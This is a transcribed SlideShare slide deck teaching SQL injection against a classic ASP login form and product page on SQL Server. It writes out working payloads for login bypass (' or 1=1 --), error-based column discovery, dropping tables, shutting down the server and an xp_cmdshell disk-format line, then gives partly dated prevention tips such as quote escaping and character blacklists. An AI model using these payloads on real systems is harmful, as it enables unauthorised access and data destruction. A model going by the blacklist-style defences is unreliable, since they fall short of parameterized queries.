SlideShare a Scribd company logo
SQL Injection Attacks Siddhesh Bhobe
SQL Injection Attack
 
 "injects" or manipulates SQL code using “string-building” techniques.  By adding unexpected SQL to a query, it is possible to manipulate a database in many unanticipated ways. Attacks are successful due to poor input validation at code layer
Example 1: HTML Form Consider the following HTML form for Login: <form name=&quot;frmLogin&quot; action=&quot;login.asp&quot; method=&quot;post&quot;>  Username: <input type=&quot;text&quot; name=&quot;userName&quot;>  Password: <input type=&quot;text&quot; name=&quot;password&quot;>  <input type=&quot;submit&quot;> </form>
Example 1: ASP Script <%   
 userName = Request.Form(&quot;userName“ password = Request.Form(&quot;password&quot;) query = &quot;select count(*) from users where userName='&quot; &  userName & &quot;' and userPass='&quot; & password & &quot;'“ 
 %>
Sample Input Login =john, Password = doe select count(*) from users where userName='john' and userPass='doe'
Now check this! Login = john, Password =   ' or 1=1 --   select count(*) from users where userName='john' and userPass='' or 1=1 --'   Password check is nullified -- used to prevent ASP from reporting mismatched quotes
And what about this? Username:   ' or 1=1 --   and Password: [Empty]   select count(*) from users where userName='' or 1=1 --' and userPass=''
Example 2 Username:   ' having 1=1 --   ,  Password: [Empty] select userName from users where userName='' having 1=1
You get a column name
 You will get the following error message: Microsoft OLE DB Provider for SQL Server (0x80040E14)   Column  ' users.userName '  is invalid in the select list because it is not contained in an aggregate function and there is no  GROUP BY   clause. /login.asp, line 16
The Attack
 Username:   ' or users.userName like 'a%' -- select userName from users where userName='' or users.userName like 'a%' --' and userPass=''  Logged In As admin!!!
Use of Semi-colon Semi-colon allows multiple queries to be specified on one line.  Submitted as one batch and executed sequentially  select 1; select 1+2; select 1+3;
Can you guess what happens? Username:  ' or 1=1; drop table users; --
Table dropped! Username:  ' or 1=1; drop table users; --  and Password: [Anything]   Firstly, it would select the userName field for all rows in the users table.  Secondly, it would delete the users table
SHUTDOWN WITH NOWAIT!! 
 causes SQL Server to shutdown, immediately stopping the Windows service   Username:  '; shutdown with nowait; --   select userName from users where userName='';  shutdown with nowait; --' and userPass=''
Products.asp http://localhost/products.asp?productId=1  returns  Got product Pink Hoola Hoop  But what about this? http://localhost/products.asp?productId=0;insert%20into%20products (prodName)%20values(left(@@version,50))
Wham! Here's the query without the URL-encoded spaces: http://localhost/products.asp?productId=0;insert into  products(prodName) values(left(@@version,50)) Runs an  INSERT  query on the products table, adding the first 50 characters of SQL server's @@version variable as a new record in the products table.
Effects  Privilege Level: sa Total control of SQL Server  OS Shell at privilege of MSSQLServer service using xp_cmdshell Ability to read, write, mutilate all data
Effects Privilege Level: db_owner Read/write all data in affected database Drop tables Create new objects Take control of the database
Effects Privilege Level: normal user (no fixed server or database roles) Access objects to which permission is given At best, only some few stored procedures At worst, read/write access to all tables Recommended!
Testing for Vulnerability Disable error handling so that errors are displayed Input single quotes to see if the application fails Failure indicates poor validation and corruption of SQL
Preventing SQL Injection Attacks Limit User Access Escape Quotes Remove culprit characters Limit length of user input
Limit User Access Do not use “sa” account Removed extended SPs if you are not using them. The following are couple of the most damaging ones: xp_cmdshell  xp_grantlogin Use SPs to abstract data access
Escape Quotes Convert single quotes to double quotes <%   function stripQuotes(strWords)  stripQuotes = replace(strWords, &quot;'&quot;, &quot;''&quot;)  end function %> Converts select count(*) from users where userName='john' and  userPass='' or 1=1 --'   ...to this: select count(*) from users where userName='john'' and  userPass=''' or 1=1 --'
Drop culprit characters Drop character sequences like  ; ,   -- ,   insert   and   xp_  select prodName from products where id=1; xp_cmdshell 'format c: /q /yes '; drop database myDB; --   becomes select prodName from products where id=1 cmdshell ''format c: /q /yes '' database myDB
Restrict length of user input Limit length in the form field Use validating functions for numeric input Use POST, not GET
Thanks! Original Article: http://www. webmasterbase .com/article. php ?aid=794& pid =0   Also on Reismagos


More Related Content

What's hot (20)

PPT
Advanced Sql Injection ENG
Dmitry Evteev
 
PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Pichaya Morimoto
 
PPTX
SQL Injection Defense in Python
Public Broadcasting Service
 
PPTX
SQL Injection in action with PHP and MySQL
Pradeep Kumar
 
PPT
Advanced SQL Injection
amiable_indian
 
PDF
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
PPT
Sql injection
Nitish Kumar
 
PPTX
Sql injection - security testing
Napendra Singh
 
PDF
What is advanced SQL Injection? Infographic
JW CyberNerd
 
PDF
Sql Injection and XSS
Mike Crabb
 
PPTX
SQL Injections - A Powerpoint Presentation
Rapid Purple
 
PDF
SQL Injection Tutorial
Magno Logan
 
PPTX
SQL INJECTION
Mentorcs
 
PPTX
Sql Injection attacks and prevention
helloanand
 
PPTX
SQL Injections (Part 1)
n|u - The Open Security Community
 
PPTX
seminar report on Sql injection
Jawhar Ali
 
PDF
Asp
Adil Jafri
 
PPT
Sql Injection Tutorial!
ralphmigcute
 
PPT
Sql injection attacks
Kumar
 
PPTX
SQL Injection Attacks cs586
Stacy Watts
 
Advanced Sql Injection ENG
Dmitry Evteev
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Pichaya Morimoto
 
SQL Injection Defense in Python
Public Broadcasting Service
 
SQL Injection in action with PHP and MySQL
Pradeep Kumar
 
Advanced SQL Injection
amiable_indian
 
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
Sql injection
Nitish Kumar
 
Sql injection - security testing
Napendra Singh
 
What is advanced SQL Injection? Infographic
JW CyberNerd
 
Sql Injection and XSS
Mike Crabb
 
SQL Injections - A Powerpoint Presentation
Rapid Purple
 
SQL Injection Tutorial
Magno Logan
 
SQL INJECTION
Mentorcs
 
Sql Injection attacks and prevention
helloanand
 
SQL Injections (Part 1)
n|u - The Open Security Community
 
seminar report on Sql injection
Jawhar Ali
 
Asp
Adil Jafri
 
Sql Injection Tutorial!
ralphmigcute
 
Sql injection attacks
Kumar
 
SQL Injection Attacks cs586
Stacy Watts
 

Viewers also liked (18)

PPT
Sql injection
Pallavi Biswas
 
PPTX
SQL INJECTION
Anoop T
 
PPTX
Sql Injection and Entity Frameworks
Rich Helton
 
PDF
Advanced SQL Injection: Attacks
Nuno Loureiro
 
PPTX
Understanding and preventing sql injection attacks
Kevin Kline
 
PPTX
SQL Injection
Marios Siganos
 
PPTX
Sql injection
Zidh
 
PPTX
SQL injection and SYN attack
Tesfahunegn Minwuyelet
 
PPT
SQL Injection in PHP
Dave Ross
 
PPTX
03. sql and other injection module v17
Eoin Keary
 
PPTX
Threat modeling librarian freedom conference
evacide
 
PDF
Neutralizing SQL Injection in PostgreSQL
Juliano Atanazio
 
PDF
SQL Injection - The Unknown Story
Imperva
 
PPTX
SQL injection
Akash Panchal
 
PPT
Introduction to SQL Injection
jpubal
 
PPTX
Sql injection
Sasha-Leigh Garret
 
PDF
Defcon 17-joseph mccray-adv-sql_injection
Ahmed AbdelSatar
 
PPTX
Website attack n defacement n its control measures
ŰŁŰ­Ù„Ű§Ù… Ű§Ù†Ű”Ű§Ű±Ù‰
 
Sql injection
Pallavi Biswas
 
SQL INJECTION
Anoop T
 
Sql Injection and Entity Frameworks
Rich Helton
 
Advanced SQL Injection: Attacks
Nuno Loureiro
 
Understanding and preventing sql injection attacks
Kevin Kline
 
SQL Injection
Marios Siganos
 
Sql injection
Zidh
 
SQL injection and SYN attack
Tesfahunegn Minwuyelet
 
SQL Injection in PHP
Dave Ross
 
03. sql and other injection module v17
Eoin Keary
 
Threat modeling librarian freedom conference
evacide
 
Neutralizing SQL Injection in PostgreSQL
Juliano Atanazio
 
SQL Injection - The Unknown Story
Imperva
 
SQL injection
Akash Panchal
 
Introduction to SQL Injection
jpubal
 
Sql injection
Sasha-Leigh Garret
 
Defcon 17-joseph mccray-adv-sql_injection
Ahmed AbdelSatar
 
Website attack n defacement n its control measures
ŰŁŰ­Ù„Ű§Ù… Ű§Ù†Ű”Ű§Ű±Ù‰
 
Ad

Similar to Sql Injection Attacks Siddhesh (20)

PPT
Sql Injection Adv Owasp
Aung Khant
 
PPTX
Sql injection
Nuruzzaman Milon
 
PPTX
Sql injection
Mehul Boghra
 
PPTX
Hack through Injections
Nazar Tymoshyk, CEH, Ph.D.
 
DOCX
Types of sql injection attacks
Respa Peter
 
PPT
PHP - Introduction to Advanced SQL
Vibrant Technologies & Computers
 
PPSX
Web application security
www.netgains.org
 
PDF
Chapter 14 sql injection
newbie2019
 
PPTX
SQL Injections - 2016 - Huntington Beach
Jeff Prom
 
PPTX
References - sql injection
Mohammed
 
PPTX
References
Mohammed
 
PPTX
How did i steal your database
Mostafa Siraj
 
PDF
Sql Injection
Andrey Korshikov
 
PDF
Sql injection
Safwan Hashmi
 
PPTX
Google Dorks and SQL Injection
Mudassir Hassan Khan
 
PPTX
Intro to SQL Injection
hon1nbo
 
PDF
Ceh v5 module 14 sql injection
Vi TĂ­nh HoĂ ng Nam
 
PDF
Sql Injection
Tayyip Gören
 
PDF
Ch 9 Attacking Data Stores (Part 2)
Sam Bowne
 
PDF
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
Sam Bowne
 
Sql Injection Adv Owasp
Aung Khant
 
Sql injection
Nuruzzaman Milon
 
Sql injection
Mehul Boghra
 
Hack through Injections
Nazar Tymoshyk, CEH, Ph.D.
 
Types of sql injection attacks
Respa Peter
 
PHP - Introduction to Advanced SQL
Vibrant Technologies & Computers
 
Web application security
www.netgains.org
 
Chapter 14 sql injection
newbie2019
 
SQL Injections - 2016 - Huntington Beach
Jeff Prom
 
References - sql injection
Mohammed
 
References
Mohammed
 
How did i steal your database
Mostafa Siraj
 
Sql Injection
Andrey Korshikov
 
Sql injection
Safwan Hashmi
 
Google Dorks and SQL Injection
Mudassir Hassan Khan
 
Intro to SQL Injection
hon1nbo
 
Ceh v5 module 14 sql injection
Vi TĂ­nh HoĂ ng Nam
 
Sql Injection
Tayyip Gören
 
Ch 9 Attacking Data Stores (Part 2)
Sam Bowne
 
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
Sam Bowne
 
Ad

More from Siddhesh Bhobe (16)

PPTX
eMee at HR Tech Europe, 26 March, London
Siddhesh Bhobe
 
PPTX
Industry expectations from new recruits
Siddhesh Bhobe
 
PDF
The eMee Value Proposition
Siddhesh Bhobe
 
PPTX
Redefining Employee Engagement
Siddhesh Bhobe
 
PDF
Introduction to eMee
Siddhesh Bhobe
 
PDF
Tour Of Europe
Siddhesh Bhobe
 
PPT
Software As Solutions
Siddhesh Bhobe
 
PPT
Effective ALM
Siddhesh Bhobe
 
PPT
Bit Vectors Siddhesh
Siddhesh Bhobe
 
PPT
Anti Patterns Siddhesh Lecture1 Of3
Siddhesh Bhobe
 
PPT
Introduction To Dot Net Siddhesh
Siddhesh Bhobe
 
PPT
Ruby On Rails Siddhesh
Siddhesh Bhobe
 
PPT
Six Thinking Hats Siddhesh
Siddhesh Bhobe
 
PPT
Anti Patterns Siddhesh Lecture2 Of3
Siddhesh Bhobe
 
PPT
Software Accessibility Siddhesh
Siddhesh Bhobe
 
PPT
Anti Patterns Siddhesh Lecture3 Of3
Siddhesh Bhobe
 
eMee at HR Tech Europe, 26 March, London
Siddhesh Bhobe
 
Industry expectations from new recruits
Siddhesh Bhobe
 
The eMee Value Proposition
Siddhesh Bhobe
 
Redefining Employee Engagement
Siddhesh Bhobe
 
Introduction to eMee
Siddhesh Bhobe
 
Tour Of Europe
Siddhesh Bhobe
 
Software As Solutions
Siddhesh Bhobe
 
Effective ALM
Siddhesh Bhobe
 
Bit Vectors Siddhesh
Siddhesh Bhobe
 
Anti Patterns Siddhesh Lecture1 Of3
Siddhesh Bhobe
 
Introduction To Dot Net Siddhesh
Siddhesh Bhobe
 
Ruby On Rails Siddhesh
Siddhesh Bhobe
 
Six Thinking Hats Siddhesh
Siddhesh Bhobe
 
Anti Patterns Siddhesh Lecture2 Of3
Siddhesh Bhobe
 
Software Accessibility Siddhesh
Siddhesh Bhobe
 
Anti Patterns Siddhesh Lecture3 Of3
Siddhesh Bhobe
 

Recently uploaded (20)

PDF
ICONIQ State of AI Report 2025 - The Builder's Playbook
Razin Mustafiz
 
PPTX
New ThousandEyes Product Innovations: Cisco Live June 2025
ThousandEyes
 
PDF
Dev Dives: Accelerating agentic automation with Autopilot for Everyone
UiPathCommunity
 
PDF
Enhancing Environmental Monitoring with Real-Time Data Integration: Leveragin...
Safe Software
 
PDF
''Taming Explosive Growth: Building Resilience in a Hyper-Scaled Financial Pl...
Fwdays
 
PDF
FME as an Orchestration Tool with Principles From Data Gravity
Safe Software
 
PPTX
Smarter Governance with AI: What Every Board Needs to Know
OnBoard
 
PDF
GDG Cloud Southlake #44: Eyal Bukchin: Tightening the Kubernetes Feedback Loo...
James Anderson
 
PPTX
Practical Applications of AI in Local Government
OnBoard
 
PDF
Bitkom eIDAS Summit | European Business Wallet: Use Cases, Macroeconomics, an...
Carsten Stoecker
 
PPTX
Wondershare Filmora Crack Free Download 2025
josanj305
 
PDF
“A Re-imagination of Embedded Vision System Design,” a Presentation from Imag...
Edge AI and Vision Alliance
 
PDF
Optimizing the trajectory of a wheel loader working in short loading cycles
Reno Filla
 
PDF
99 Bottles of Trust on the Wall — Operational Principles for Trust in Cyber C...
treyka
 
PDF
5 Things to Consider When Deploying AI in Your Enterprise
Safe Software
 
PDF
Hello I'm "AI" Your New _________________
Dr. Tathagat Varma
 
PDF
Kubernetes - Architecture & Components.pdf
geethak285
 
PDF
Darley - FIRST Copenhagen Lightning Talk (2025-06-26) Epochalypse 2038 - Time...
treyka
 
PDF
Unlocking FME Flow’s Potential: Architecture Design for Modern Enterprises
Safe Software
 
PPTX
01_Approach Cyber- DORA Incident Management.pptx
FinTech Belgium
 
ICONIQ State of AI Report 2025 - The Builder's Playbook
Razin Mustafiz
 
New ThousandEyes Product Innovations: Cisco Live June 2025
ThousandEyes
 
Dev Dives: Accelerating agentic automation with Autopilot for Everyone
UiPathCommunity
 
Enhancing Environmental Monitoring with Real-Time Data Integration: Leveragin...
Safe Software
 
''Taming Explosive Growth: Building Resilience in a Hyper-Scaled Financial Pl...
Fwdays
 
FME as an Orchestration Tool with Principles From Data Gravity
Safe Software
 
Smarter Governance with AI: What Every Board Needs to Know
OnBoard
 
GDG Cloud Southlake #44: Eyal Bukchin: Tightening the Kubernetes Feedback Loo...
James Anderson
 
Practical Applications of AI in Local Government
OnBoard
 
Bitkom eIDAS Summit | European Business Wallet: Use Cases, Macroeconomics, an...
Carsten Stoecker
 
Wondershare Filmora Crack Free Download 2025
josanj305
 
“A Re-imagination of Embedded Vision System Design,” a Presentation from Imag...
Edge AI and Vision Alliance
 
Optimizing the trajectory of a wheel loader working in short loading cycles
Reno Filla
 
99 Bottles of Trust on the Wall — Operational Principles for Trust in Cyber C...
treyka
 
5 Things to Consider When Deploying AI in Your Enterprise
Safe Software
 
Hello I'm "AI" Your New _________________
Dr. Tathagat Varma
 
Kubernetes - Architecture & Components.pdf
geethak285
 
Darley - FIRST Copenhagen Lightning Talk (2025-06-26) Epochalypse 2038 - Time...
treyka
 
Unlocking FME Flow’s Potential: Architecture Design for Modern Enterprises
Safe Software
 
01_Approach Cyber- DORA Incident Management.pptx
FinTech Belgium
 

Sql Injection Attacks Siddhesh

  • 1. SQL Injection Attacks Siddhesh Bhobe
  • 2. SQL Injection Attack
 
 &quot;injects&quot; or manipulates SQL code using “string-building” techniques. By adding unexpected SQL to a query, it is possible to manipulate a database in many unanticipated ways. Attacks are successful due to poor input validation at code layer
  • 3. Example 1: HTML Form Consider the following HTML form for Login: <form name=&quot;frmLogin&quot; action=&quot;login.asp&quot; method=&quot;post&quot;> Username: <input type=&quot;text&quot; name=&quot;userName&quot;> Password: <input type=&quot;text&quot; name=&quot;password&quot;> <input type=&quot;submit&quot;> </form>
  • 4. Example 1: ASP Script <% 
 userName = Request.Form(&quot;userName“ password = Request.Form(&quot;password&quot;) query = &quot;select count(*) from users where userName='&quot; & userName & &quot;' and userPass='&quot; & password & &quot;'“ 
 %>
  • 5. Sample Input Login =john, Password = doe select count(*) from users where userName='john' and userPass='doe'
  • 6. Now check this! Login = john, Password = ' or 1=1 -- select count(*) from users where userName='john' and userPass='' or 1=1 --' Password check is nullified -- used to prevent ASP from reporting mismatched quotes
  • 7. And what about this? Username: ' or 1=1 -- and Password: [Empty] select count(*) from users where userName='' or 1=1 --' and userPass=''
  • 8. Example 2 Username: ' having 1=1 -- , Password: [Empty] select userName from users where userName='' having 1=1
  • 9. You get a column name
 You will get the following error message: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column ' users.userName ' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /login.asp, line 16
  • 10. The Attack
 Username: ' or users.userName like 'a%' -- select userName from users where userName='' or users.userName like 'a%' --' and userPass='' Logged In As admin!!!
  • 11. Use of Semi-colon Semi-colon allows multiple queries to be specified on one line. Submitted as one batch and executed sequentially select 1; select 1+2; select 1+3;
  • 12. Can you guess what happens? Username: ' or 1=1; drop table users; --
  • 13. Table dropped! Username: ' or 1=1; drop table users; -- and Password: [Anything] Firstly, it would select the userName field for all rows in the users table. Secondly, it would delete the users table
  • 14. SHUTDOWN WITH NOWAIT!! 
 causes SQL Server to shutdown, immediately stopping the Windows service Username: '; shutdown with nowait; -- select userName from users where userName=''; shutdown with nowait; --' and userPass=''
  • 15. Products.asp http://localhost/products.asp?productId=1 returns Got product Pink Hoola Hoop But what about this? http://localhost/products.asp?productId=0;insert%20into%20products (prodName)%20values(left(@@version,50))
  • 16. Wham! Here's the query without the URL-encoded spaces: http://localhost/products.asp?productId=0;insert into products(prodName) values(left(@@version,50)) Runs an INSERT query on the products table, adding the first 50 characters of SQL server's @@version variable as a new record in the products table.
  • 17. Effects Privilege Level: sa Total control of SQL Server OS Shell at privilege of MSSQLServer service using xp_cmdshell Ability to read, write, mutilate all data
  • 18. Effects Privilege Level: db_owner Read/write all data in affected database Drop tables Create new objects Take control of the database
  • 19. Effects Privilege Level: normal user (no fixed server or database roles) Access objects to which permission is given At best, only some few stored procedures At worst, read/write access to all tables Recommended!
  • 20. Testing for Vulnerability Disable error handling so that errors are displayed Input single quotes to see if the application fails Failure indicates poor validation and corruption of SQL
  • 21. Preventing SQL Injection Attacks Limit User Access Escape Quotes Remove culprit characters Limit length of user input
  • 22. Limit User Access Do not use “sa” account Removed extended SPs if you are not using them. The following are couple of the most damaging ones: xp_cmdshell xp_grantlogin Use SPs to abstract data access
  • 23. Escape Quotes Convert single quotes to double quotes <% function stripQuotes(strWords) stripQuotes = replace(strWords, &quot;'&quot;, &quot;''&quot;) end function %> Converts select count(*) from users where userName='john' and userPass='' or 1=1 --' ...to this: select count(*) from users where userName='john'' and userPass=''' or 1=1 --'
  • 24. Drop culprit characters Drop character sequences like ; , -- , insert and xp_ select prodName from products where id=1; xp_cmdshell 'format c: /q /yes '; drop database myDB; -- becomes select prodName from products where id=1 cmdshell ''format c: /q /yes '' database myDB
  • 25. Restrict length of user input Limit length in the form field Use validating functions for numeric input Use POST, not GET
  • 26. Thanks! Original Article: http://www. webmasterbase .com/article. php ?aid=794& pid =0 Also on Reismagos